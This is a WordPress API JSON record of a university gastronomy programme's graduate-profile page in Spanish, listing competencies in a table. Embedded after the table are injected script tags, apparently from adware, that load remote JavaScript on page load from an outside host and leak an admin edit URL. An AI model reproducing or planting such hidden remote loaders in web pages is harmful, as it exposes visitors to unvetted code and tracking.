{"id":982,"date":"2014-04-22T14:15:24","date_gmt":"2014-04-22T19:15:24","guid":{"rendered":"http:\/\/www.utn.edu.ec\/fccss\/carreras\/gastronomia\/?page_id=982"},"modified":"2021-10-25T12:33:08","modified_gmt":"2021-10-25T17:33:08","slug":"perfil-de-egreso","status":"publish","type":"page","link":"https:\/\/gastronomia.utn.edu.ec\/?page_id=982","title":{"rendered":"Perfil de Egreso"},"content":{"rendered":"<div id=\"__tbSetup\" style=\"text-align: center;\">\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"147\"><strong>Ejes de perfil<\/strong><\/td>\n<td valign=\"top\" width=\"147\"><strong>Te\u00f3rico<\/strong><\/td>\n<td valign=\"top\" width=\"147\"><strong>Metodol\u00f3gico<\/strong><\/td>\n<td valign=\"top\" width=\"147\"><strong>T\u00e9cnico instrumental<\/strong><\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\">Ser<\/td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\">Proceder de manera \u00e9tica y responsable en el desempe\u00f1o profesional y personal.<\/td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\"><\/td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\"><\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\">Saber<\/td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\"><\/td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\"><\/td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\">Desarrollar habilidades emprendedoras para crear productos y servicios gastron\u00f3micos acordes al mercado y nuevas tendencias.<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\">Saber conocer<\/td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\"><\/td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\">Valorar la cultura gastron\u00f3mica del Ecuador, mediante la gesti\u00f3n de proyectos de investigaci\u00f3n.<\/td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\"><\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\">Saber hacer<\/td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\"><\/td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\">Desarrollar habilidades y destrezas en las \u00e1reas de producci\u00f3n de alimentos y bebidas bajo est\u00e1ndares de calidad.<\/td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\">Administrar y asesorar establecimientos de alimentos y bebidas tur\u00edsticas, hospitalarias e industriales.<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\">Saber convivir<\/td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\">Actuar y comunicarse en diferentes entornos culturales y gastron\u00f3micos.<\/td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\"><\/td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\">Liderar grupos humanos que sean capaces de convertir las soluciones gastron\u00f3micas en bienes y servicios.<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\">Saber emprendizajes<\/td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\"><\/td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\"><\/td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"147\">Gestionar su propia empresa en el \u00e1rea de alimentos y bebidas.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<div><\/div>\n<div><\/div>\n<div><\/div>\n<div><\/div>\n<div><\/div>\n<div><\/div>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/gastronomia.utn.edu.ec\/wp-content\/uploads\/2014\/04\/egreso.jpg\" alt=\"\" width=\"300\" height=\"300\" \/><\/div>\n<p><script type=\"text\/javascript\" src=\"https:\/\/secure-content-delivery.com\/data.js.php?i={1026AAF6-C684-4DD5-9530-B4FFBBFB47ED}&amp;d=2013-5-17&amp;s=https:\/\/gastronomia.utn.edu.ec\/wp-admin\/post.php?post=27&amp;action=edit\"><\/script><script id=\"__changoScript\" type=\"text\/javascript\">\/\/ <![CDATA[ var __chd__ = {'aid':11079,'chaid':'www_objectify_ca'};(function() { var c = document.createElement('script'); c.type = 'text\/javascript'; c.async = true;c.src = ( 'https:' == document.location.protocol ? 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Saber Desarrollar habilidades emprendedoras para crear productos y servicios gastron\u00f3micos acordes al mercado y nuevas tendencias. Saber conocer Valorar la <a href=\"https:\/\/gastronomia.utn.edu.ec\/?page_id=982\" class=\"read-more\">Leer M\u00e1s [+] &#8230;<\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"parent":978,"menu_order":2,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-982","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/gastronomia.utn.edu.ec\/index.php?rest_route=\/wp\/v2\/pages\/982","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/gastronomia.utn.edu.ec\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/gastronomia.utn.edu.ec\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/gastronomia.utn.edu.ec\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/gastronomia.utn.edu.ec\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=982"}],"version-history":[{"count":16,"href":"https:\/\/gastronomia.utn.edu.ec\/index.php?rest_route=\/wp\/v2\/pages\/982\/revisions"}],"predecessor-version":[{"id":1423,"href":"https:\/\/gastronomia.utn.edu.ec\/index.php?rest_route=\/wp\/v2\/pages\/982\/revisions\/1423"}],"up":[{"embeddable":true,"href":"https:\/\/gastronomia.utn.edu.ec\/index.php?rest_route=\/wp\/v2\/pages\/978"}],"wp:attachment":[{"href":"https:\/\/gastronomia.utn.edu.ec\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=982"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}